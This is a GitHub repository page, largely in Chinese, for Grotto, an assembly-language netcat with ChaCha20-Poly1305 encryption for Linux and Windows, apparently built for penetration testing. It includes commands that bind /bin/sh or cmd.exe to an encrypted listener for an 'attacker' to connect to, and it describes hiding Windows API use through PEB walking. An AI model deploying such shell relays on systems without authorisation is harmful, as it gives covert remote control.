Real-Fruit-Snacks/Grotto

GitHub: Real-Fruit-Snacks/Grotto

纯x86_64汇编实现的ChaCha20-Poly1305加密netcat,支持跨平台双向认证加密通信和shell中继。

Stars: 0 | Forks: 0

Grotto ![Assembly](https://img.shields.io/badge/language-Assembly-blueviolet.svg) ![Platform](https://img.shields.io/badge/platform-Linux%20%7C%20Windows-lightgrey) ![License](https://img.shields.io/badge/license-MIT-blue.svg) **纯 x86_64 NASM 汇编实现的 ChaCha20-Poly1305 加密 netcat。** 基于 TCP 的双向认证加密,完整支持 RFC 8439 AEAD。跨平台 — Linux ELF (~13 KB) 和 Windows PE (~8 KB)。零导入,零依赖。Windows 端使用 PEB 遍历,Linux 端使用原始系统调用。
## 快速开始 **前置条件:** NASM、`ld`(Linux)、`x86_64-w64-mingw32-ld`(Windows) ``` git clone https://github.com/Real-Fruit-Snacks/Grotto.git cd Grotto make all ``` **验证:** ``` ls -la build/grotto build/grotto.exe file build/grotto # ELF 64-bit, statically linked, ~13 KB file build/grotto.exe # PE32+ executable, ~8 KB ``` ## 功能特性 ### ChaCha20-Poly1305 AEAD 纯汇编实现完整 RFC 8439。256 位 PSK,每条消息使用随机 nonce,被篡改的数据包会被静默丢弃。 ``` KEY=$(python3 -c "import secrets; print(secrets.token_hex(32))") ./grotto -l -p 4444 -k $KEY # listener ./grotto -c 10.10.14.1 -p 4444 -k $KEY # connect ``` ### 跨平台 从共享加密核心构建双平台目标。相同的线协议,完全互操作性。 ``` make linux # build/grotto (~13 KB static ELF) make windows # build/grotto.exe (~8 KB minimal PE) ``` ### 加密 Shell 中继 `-e` 标志生成交互式 shell,stdin/stdout 通过加密通道传输。 ``` ./grotto -l -p 4444 -k $KEY -e /bin/sh # Linux ./grotto -l -p 4444 -k $KEY -e cmd.exe # Windows ./grotto -c 10.10.14.1 -p 4444 -k $KEY # connect from attacker ``` ### PEB 遍历 + Hash 查找 Windows API 在运行时通过 PEB 遍历和 ror13 hash 匹配解析。无导入表,无字符串。 ``` ; All 25 APIs resolved dynamically from kernel32, ws2_32, advapi32 ; Zero DLL imports — nothing in the PE import directory ``` ### 连接/监听模式 标准 netcat 风格的双向中继,每字节都经过认证加密。 ``` ./grotto -l -p 4444 -k $KEY # listen mode ./grotto -c 10.10.14.1 -p 4444 -k $KEY # connect mode echo "secret" | ./grotto -c host -p 4444 -k $KEY # pipe data ``` ## 架构 ``` grotto/ ├── linux/ │ ├── main.asm # Entry point, CLI parsing │ ├── net.asm # Raw syscall networking │ ├── io.asm # poll(2) bidirectional relay │ ├── crypto.asm # Nonce generation, encrypt/decrypt │ └── shell.asm # fork/execve/dup2 ├── windows/ │ ├── main.asm # Entry point, CLI parsing │ ├── peb.asm # PEB walking, ror13 resolution │ ├── net.asm # Winsock2 networking │ ├── io.asm # Threaded relay (CreateThread) │ ├── crypto.asm # SystemFunction036 nonce │ └── shell.asm # CreateProcessA with pipes ├── shared/ │ ├── chacha20.inc # ChaCha20 stream cipher │ ├── poly1305.inc # Poly1305 MAC │ └── aead.inc # AEAD encrypt/decrypt ├── build.sh # Build script with PSK generation └── Makefile # NASM + ld build targets ``` ## 平台支持 | | Linux | Windows | |---|---|---| | 二进制大小 | ~13 KB(静态 ELF) | ~8 KB(精简 PE) | | API 解析 | 原始系统调用 | PEB 遍历 + ror13 hash | | I/O 中继 | `poll(2)` 多路复用 | `CreateThread` + `WaitForMultipleObjects` | | Shell 执行 | `fork`/`execve`/`dup2` | 带管道的 `CreateProcessA` | | CSPRNG | `getrandom` | `SystemFunction036` | | 依赖项 | 无(无 libc) | 无(无 DLL 导入) | ## 安全 请通过 [GitHub 安全公告](https://github.com/Real-Fruit-Snacks/Grotto/security/advisories) 报告漏洞。90 天负责任披露。 **Grotto 不会:** - 管理植入物、任务分配或信标通信(不是 C2) - 生成载荷或利用模块(不是框架) - 销毁证据或篡改日志(不是反取证) - 规避 EDR/XDR 行为分析(不是规避工具) ## 许可证 [MIT](LICENSE) — Copyright 2026 Real-Fruit-Snacks
标签:AEAD, ChaCha20-Poly1305, DAST, DNS枚举, Hpfeeds, NASM, Netcat替代品, PEB遍历, RFC 8439, Shell中继, x86_64, 二进制安全, 代码生成, 加密通信, 安全报告生成, 快速连接, 恶意软件分析, 汇编语言, 渗透测试工具, 端到端加密, 端点可见性, 系统调用, 网络安全工具, 零依赖